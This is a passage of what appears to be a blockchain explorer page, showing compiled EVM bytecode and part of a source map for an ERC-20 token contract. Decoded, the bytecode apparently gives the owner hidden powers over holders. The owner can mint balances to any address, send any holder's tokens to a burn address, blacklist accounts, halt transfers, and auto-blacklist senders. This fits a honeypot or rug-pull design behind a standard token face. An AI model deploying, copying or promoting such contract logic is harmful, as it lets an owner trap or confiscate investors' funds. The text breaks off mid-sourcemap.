fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b603b5481565b6113c8611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144c90612ceb565b60405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a09190612d9a565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6114ef611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461157c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157390612ceb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115b557600080fd5b60006115bf610dcc565b90508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611627611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ab90612ceb565b60405180910390fd5b80603c60016101000a81548160ff02191690831515021790555050565b6116d9611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175d90612ceb565b60405180910390fd5b61176e610dcc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d290612eac565b60405180910390fd5b600061dead9050670de0b6b3a7640000826117f69190612ecc565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611952576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190a9190612d9a565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a95565b670de0b6b3a7640000826119669190612ecc565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119b09190612f26565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a764000082611a079190612ecc565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a519190612d9a565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0890612fcc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779061305e565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c5e9190612aca565b60405180910390a3505050565b6000611c778484611333565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611cf15781811015611ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cda906130ca565b60405180910390fd5b611cf08484848403611aa2565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5d9061315c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc906131ee565b60405180910390fd5b603c60019054906101000a900460ff1615611f78576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611e71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6890613280565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f069190612d9a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f6a9190612aca565b60405180910390a350611f8e565b611f828382611f93565b611f8d838383612254565b5b505050565b611f9b610dcc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156120205750603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561207a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561225057603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120d657600080fd5b6000603760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561216b57603760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561216a57600080fd5b5b600060395411156121865760395481111561218557600080fd5b5b603860009054906101000a900460ff16156121d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121cd906132ec565b60405180910390fd5b6000603a54111561223057603a54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561222f57600080fd5b5b603c60009054906101000a900460ff161561224f5761224e82612872565b5b5b5050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156122d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cd90613358565b60405180910390fd5b600061dead90506122e5610dcc565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561236a5750603560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156123a257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156126ea5760006064603b54846123b99190612ecc565b6123c391906133a7565b9050600081846123d39190612f26565b905080600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124209190612f26565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ae9190612d9a565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161254e9190612aca565b60405180910390a36000603b5411156126e35781600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ac9190612f26565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263a9190612d9a565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126da9190612aca565b60405180910390a35b505061286c565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127359190612f26565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127c39190612d9a565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128639190612aca565b60405180910390a35b50505050565b6001603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128fd826128d2565b9050919050565b61290d816128f2565b811461291857600080fd5b50565b60008135905061292a81612904565b92915050565b600060208284031215612946576129456128cd565b5b60006129548482850161291b565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561299757808201518184015260208101905061297c565b60008484015250505050565b6000601f19601f8301169050919050565b60006129bf8261295d565b6129c98185612968565b93506129d9818560208601612979565b6129e2816129a3565b840191505092915050565b60006020820190508181036000830152612a0781846129b4565b905092915050565b6000819050919050565b612a2281612a0f565b8114612a2d57600080fd5b50565b600081359050612a3f81612a19565b92915050565b60008060408385031215612a5c57612a5b6128cd565b5b6000612a6a8582860161291b565b9250506020612a7b85828601612a30565b9150509250929050565b60008115159050919050565b612a9a81612a85565b82525050565b6000602082019050612ab56000830184612a91565b92915050565b612ac481612a0f565b82525050565b6000602082019050612adf6000830184612abb565b92915050565b600080600060608486031215612afe57612afd6128cd565b5b6000612b0c8682870161291b565b9350506020612b1d8682870161291b565b9250506040612b2e86828701612a30565b9150509250925092565b600060ff82169050919050565b612b4e81612b38565b82525050565b6000602082019050612b696000830184612b45565b92915050565b612b7881612a85565b8114612b8357600080fd5b50565b600081359050612b9581612b6f565b92915050565b600060208284031215612bb157612bb06128cd565b5b6000612bbf84828501612b86565b91505092915050565b60008060408385031215612bdf57612bde6128cd565b5b6000612bed8582860161291b565b9250506020612bfe85828601612b86565b9150509250929050565b612c11816128f2565b82525050565b6000602082019050612c2c6000830184612c08565b92915050565b600060208284031215612c4857612c476128cd565b5b6000612c5684828501612a30565b91505092915050565b60008060408385031215612c7657612c756128cd565b5b6000612c848582860161291b565b9250506020612c958582860161291b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612cd5602083612968565b9150612ce082612c9f565b602082019050919050565b60006020820190508181036000830152612d0481612cc8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612d5257607f821691505b602082108103612d6557612d64612d0b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612da582612a0f565b9150612db083612a0f565b9250828201905080821115612dc857612dc7612d6b565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612e2a602583612968565b9150612e3582612dce565b604082019050919050565b60006020820190508181036000830152612e5981612e1d565b9050919050565b7f544152474554204552524f520000000000000000000000000000000000000000600082015250565b6000612e96600c83612968565b9150612ea182612e60565b602082019050919050565b60006020820190508181036000830152612ec581612e89565b9050919050565b6000612ed782612a0f565b9150612ee283612a0f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f1b57612f1a612d6b565b5b828202905092915050565b6000612f3182612a0f565b9150612f3c83612a0f565b9250828203905081811115612f5457612f53612d6b565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fb6602483612968565b9150612fc182612f5a565b604082019050919050565b60006020820190508181036000830152612fe581612fa9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613048602283612968565b915061305382612fec565b604082019050919050565b600060208201905081810360008301526130778161303b565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006130b4601d83612968565b91506130bf8261307e565b602082019050919050565b600060208201905081810360008301526130e3816130a7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613146602583612968565b9150613151826130ea565b604082019050919050565b6000602082019050818103600083015261317581613139565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131d8602383612968565b91506131e38261317c565b604082019050919050565b60006020820190508181036000830152613207816131cb565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061326a602683612968565b91506132758261320e565b604082019050919050565b600060208201905081810360008301526132998161325d565b9050919050565b7f4572726f72000000000000000000000000000000000000000000000000000000600082015250565b60006132d6600583612968565b91506132e1826132a0565b602082019050919050565b60006020820190508181036000830152613305816132c9565b9050919050565b7f56616c756520657863656564732062616c616e63650000000000000000000000600082015250565b6000613342601583612968565b915061334d8261330c565b602082019050919050565b6000602082019050818103600083015261337181613335565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133b282612a0f565b91506133bd83612a0f565b9250826133cd576133cc613378565b5b82820490509291505056fea26469706673582212209a6588cfa09bfca4e4f35b837ba24d0053e984c10d66d3199886b00941d543dd64736f6c63430008100033

Deployed Bytecode Sourcemap

3132:16171:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6299:94;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4260:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8410:226;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19212:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5549:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19105:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9216:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19130:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5222:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9920:263;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6588:89;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5871:92;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7243:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6875:144;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5971:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5720:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19159:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6685:88;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;653:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4479:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6401:88;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10686:498;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7633:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6781:86;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19272:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6201:90;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5323:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6075:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7914:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19187:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15495:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7027:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18370:81;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12774:561;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6299:94;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6380:5:::1;6364:4;:13;6369:7;6364:13;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;6299:94:::0;:::o;4260:100::-;4314:13;4347:5;4340:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4260:100;:::o;8410:226::-;8518:4;8535:13;8551:12;:10;:12::i;:::-;8535:28;;8574:32;8583:5;8590:7;8599:6;8574:8;:32::i;:::-;8624:4;8617:11;;;8410:226;;;;:::o;19212:20::-;;;;;;;;;;;;;:::o;5549:108::-;5610:7;5637:12;;5630:19;;5549:108;:::o;19105:18::-;;;;;;;;;;;;;:::o;9216:295::-;9347:4;9364:15;9382:12;:10;:12::i;:::-;9364:30;;9405:38;9421:4;9427:7;9436:6;9405:15;:38::i;:::-;9454:27;9464:4;9470:2;9474:6;9454:9;:27::i;:::-;9499:4;9492:11;;;9216:295;;;;;:::o;19130:22::-;;;;:::o;5222:93::-;5280:5;5305:2;5298:9;;5222:93;:::o;9920:263::-;10033:4;10050:13;10066:12;:10;:12::i;:::-;10050:28;;10089:64;10098:5;10105:7;10142:10;10114:25;10124:5;10131:7;10114:9;:25::i;:::-;:38;;;;:::i;:::-;10089:8;:64::i;:::-;10171:4;10164:11;;;9920:263;;;;:::o;6588:89::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6662:7:::1;6651:8;;:18;;;;;;;;;;;;;;;;;;6588:89:::0;:::o;5871:92::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5951:4:::1;5934:5;:14;5940:7;5934:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;5871:92:::0;:::o;7243:184::-;7347:13;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7391:4:::1;7373:15;;:22;;;;;;;;;;;;;;;;;;7414:5;7406:13;;7243:184:::0;;;;:::o;6875:144::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6953:1:::1;6943:6;:11;;6935:20;;;::::0;::::1;;6984:3;6974:6;:13;;6966:22;;;::::0;::::1;;7005:6;6999:3;:12;;;;6875:144:::0;:::o;5971:96::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6054:5:::1;6037;:14;6043:7;6037:14;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;5971:96:::0;:::o;5720:143::-;5810:7;5837:9;:18;5847:7;5837:18;;;;;;;;;;;;;;;;5830:25;;5720:143;;;:::o;19159:21::-;;;;:::o;6685:88::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6759:6:::1;6749:7;:16;;;;6685:88:::0;:::o;653:79::-;691:7;718:6;;;;;;;;;;;711:13;;653:79;:::o;4479:104::-;4535:13;4568:7;4561:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4479:104;:::o;6401:88::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6474:7:::1;6465:6;;:16;;;;;;;;;;;;;;;;;;6401:88:::0;:::o;10686:498::-;10804:4;10821:13;10837:12;:10;:12::i;:::-;10821:28;;10860:24;10887:25;10897:5;10904:7;10887:9;:25::i;:::-;10860:52;;10965:15;10945:16;:35;;10923:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;11081:60;11090:5;11097:7;11125:15;11106:16;:34;11081:8;:60::i;:::-;11172:4;11165:11;;;;10686:498;;;;:::o;7633:218::-;7737:4;7754:13;7770:12;:10;:12::i;:::-;7754:28;;7793;7803:5;7810:2;7814:6;7793:9;:28::i;:::-;7839:4;7832:11;;;7633:218;;;;:::o;6781:86::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6853:6:::1;6844;:15;;;;6781:86:::0;:::o;19272:27::-;;;;;;;;;;;;;:::o;6201:90::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6279:4:::1;6263;:13;6268:7;6263:13;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;6201:90:::0;:::o;5323:161::-;5411:4;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5442:12:::1;5428:11;;:26;;;;;;;;;;;;;;;;;;5472:4;5465:11;;5323:161:::0;;;:::o;6075:118::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6179:6:::1;6157:10;:19;6168:7;6157:19;;;;;;;;;;;;;;;:28;;;;6075:118:::0;;:::o;7914:176::-;8028:7;8055:11;:18;8067:5;8055:18;;;;;;;;;;;;;;;:27;8074:7;8055:27;;;;;;;;;;;;;;;;8048:34;;7914:176;;;;:::o;19187:18::-;;;;:::o;15495:137::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15618:6:::1;15597:9;:18;15607:7;15597:18;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;15576:9;:18;15586:7;15576:18;;;;;;;;;;;;;;;:48;;;;15495:137:::0;;:::o;7027:208::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7130:1:::1;7109:23;;:9;:23;;::::0;7101:32:::1;;;::::0;::::1;;7144:16;7163:7;:5;:7::i;:::-;7144:26;;7217:9;7186:41;;7207:8;7186:41;;;;;;;;;;;;7090:145;7027:208:::0;:::o;18370:81::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18437:6:::1;18429:5;;:14;;;;;;;;;;;;;;;;;;18370:81:::0;:::o;12774:561::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12872:7:::1;:5;:7::i;:::-;12862:17;;:6;:17;;::::0;12854:42:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;12907:19;12929:42;12907:64;;13016:8;13007:6;:17;;;;:::i;:::-;12986:9;:17;12996:6;12986:17;;;;;;;;;;;;;;;;:38;12982:346;;13061:1;13041:9;:17;13051:6;13041:17;;;;;;;;;;;;;;;:21;;;;13127:9;:17;13137:6;13127:17;;;;;;;;;;;;;;;;13102:9;:22;13112:11;13102:22;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;13077:9;:22;13087:11;13077:22;;;;;;;;;;;;;;;:67;;;;12982:346;;;13226:8;13217:6;:17;;;;:::i;:::-;13197:9;:17;13207:6;13197:17;;;;;;;;;;;;;;;;:37;;;;:::i;:::-;13177:9;:17;13187:6;13177:17;;;;;;;;;;;;;;;:57;;;;13308:8;13299:6;:17;;;;:::i;:::-;13274:9;:22;13284:11;13274:22;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;13249:9;:22;13259:11;13249:22;;;;;;;;;;;;;;;:67;;;;12982:346;12843:492;12774:561:::0;;:::o;95:98::-;148:7;175:10;168:17;;95:98;:::o;15107:380::-;15260:1;15243:19;;:5;:19;;;15235:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15341:1;15322:21;;:7;:21;;;15314:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15425:6;15395:11;:18;15407:5;15395:18;;;;;;;;;;;;;;;:27;15414:7;15395:27;;;;;;;;;;;;;;;:36;;;;15463:7;15447:32;;15456:5;15447:32;;;15472:6;15447:32;;;;;;:::i;:::-;;;;;;;;15107:380;;;:::o;15923:502::-;16058:24;16085:25;16095:5;16102:7;16085:9;:25::i;:::-;16058:52;;16145:17;16125:16;:37;16121:297;;16225:6;16205:16;:26;;16179:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;16340:51;16349:5;16356:7;16384:6;16365:16;:25;16340:8;:51::i;:::-;16121:297;16047:378;15923:502;;;:::o;11654:787::-;11801:1;11785:18;;:4;:18;;;11777:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11878:1;11864:16;;:2;:16;;;11856:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;11937:5;;;;;;;;;;;11933:501;;;11959:19;11981:9;:15;11991:4;11981:15;;;;;;;;;;;;;;;;11959:37;;12052:6;12037:11;:21;;12011:121;;;;;;;;;;;;:::i;:::-;;;;;;;;;12208:6;12194:11;:20;12176:9;:15;12186:4;12176:15;;;;;;;;;;;;;;;:38;;;;12261:6;12244:9;:13;12254:2;12244:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;12304:2;12289:26;;12298:4;12289:26;;;12308:6;12289:26;;;;;;:::i;:::-;;;;;;;;11944:383;11933:501;;;12348:34;12369:4;12375:6;12348:20;:34::i;:::-;12397:25;12405:4;12411:2;12415:6;12397:7;:25::i;:::-;11933:501;11654:787;;;:::o;17025:739::-;17164:7;:5;:7::i;:::-;17156:15;;:4;:15;;;;:31;;;;;17176:5;:11;17182:4;17176:11;;;;;;;;;;;;;;;;;;;;;;;;;17175:12;17156:31;:54;;;;;17199:11;;;;;;;;;;;17191:19;;:4;:19;;;;17156:54;17138:619;;;17276:4;:10;17281:4;17276:10;;;;;;;;;;;;;;;;;;;;;;;;;17275:11;17267:20;;;;;;17325:1;17306:10;:16;17317:4;17306:16;;;;;;;;;;;;;;;;:20;17302:96;;;17365:10;:16;17376:4;17365:16;;;;;;;;;;;;;;;;17355:6;:26;;17347:35;;;;;;17302:96;17428:1;17418:7;;:11;17414:78;;;17468:7;;17458:6;:17;;17450:26;;;;;;17414:78;17510:6;;;;;;;;;;;17506:62;;;17537:15;;;;;;;;;;:::i;:::-;;;;;;;;17506:62;17595:1;17586:6;;:10;17582:85;;;17644:6;;17625:9;:15;17635:4;17625:15;;;;;;;;;;;;;;;;:25;;17617:34;;;;;;17582:85;17687:8;;;;;;;;;;;17683:63;;;17716:14;17725:4;17716:8;:14::i;:::-;17683:63;17138:619;17025:739;;:::o;13581:1088::-;13731:5;13710:9;:17;13720:6;13710:17;;;;;;;;;;;;;;;;:26;;13702:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;13773:19;13795:42;13773:64;;13862:7;:5;